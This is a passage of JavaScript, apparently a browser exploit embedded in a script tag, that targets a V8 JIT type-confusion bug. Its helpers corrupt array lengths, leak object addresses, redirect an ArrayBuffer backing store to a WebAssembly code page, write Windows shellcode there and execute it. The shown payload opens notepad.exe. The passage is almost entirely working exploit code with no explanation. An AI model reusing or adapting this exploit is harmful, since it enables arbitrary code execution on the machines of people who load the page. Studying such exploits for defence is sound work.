0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00,       0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B,       0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,       0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,       0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x6E, 0x6F, 0x74, 0x65, 0x70,       0x61, 0x64, 0x2E, 0x65, 0x78, 0x65, 0x00];   var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);   var wasmModule = new WebAssembly.Module(wasmCode);   var wasmInstance = new WebAssembly.Instance(wasmModule);   var main = wasmInstance.exports.main;   var bf = new ArrayBuffer(8);   var bfView = new DataView(bf);   function fLow(f) {       bfView.setFloat64(0, f, true);       return (bfView.getUint32(0, true));  }   function fHi(f) {       bfView.setFloat64(0, f, true);       return (bfView.getUint32(4, true))  }   function i2f(low, hi) {       bfView.setUint32(0, low, true);       bfView.setUint32(4, hi, true);       return bfView.getFloat64(0, true);  }   function f2big(f) {       bfView.setFloat64(0, f, true);       return bfView.getBigUint64(0, true);  }   function big2f(b) {       bfView.setBigUint64(0, b, true);       return bfView.getFloat64(0, true);  }   class LeakArrayBuffer extends ArrayBuffer {       constructor(size) {           super(size);           this.slot = 0xb33f;      }  }   function foo(a) {       let x = -1;       if (a) x = 0xFFFFFFFF;       var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));       arr.shift();       let local_arr = Array(2);       local_arr[0] = 5.1;//4014666666666666       let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8       arr[0] = 0x1122;       return [arr, local_arr, buff];  }   for (var i = 0; i < 0x10000; ++i)       foo(false);   gc(); gc();  [corrput_arr, rwarr, corrupt_buff] = foo(true);   corrput_arr[12] = 0x22444;   delete corrput_arr;   function setbackingStore(hi, low) {       rwarr[4] = i2f(fLow(rwarr[4]), hi);       rwarr[5] = i2f(low, fHi(rwarr[5]));  }   function leakObjLow(o) {       corrupt_buff.slot = o;       return (fLow(rwarr[9]) - 1);  }   let corrupt_view = new DataView(corrupt_buff);   let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);   let idx0Addr = corrupt_buffer_ptr_low - 0x10;   let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;   let delta = baseAddr + 0x1c - idx0Addr;   if ((delta % 8) == 0) {       let baseIdx = delta / 8;       this.base = fLow(rwarr[baseIdx]);  } else {       let baseIdx = ((delta - (delta % 8)) / 8);       this.base = fHi(rwarr[baseIdx]);  }   let wasmInsAddr = leakObjLow(wasmInstance);   setbackingStore(wasmInsAddr, this.base);   let code_entry = corrupt_view.getFloat64(13 * 8, true);   setbackingStore(fLow(code_entry), fHi(code_entry));   for (let i = 0; i < shellcode.length; i++) {       corrupt_view.setUint8(i, shellcode[i]);  }   main();</script>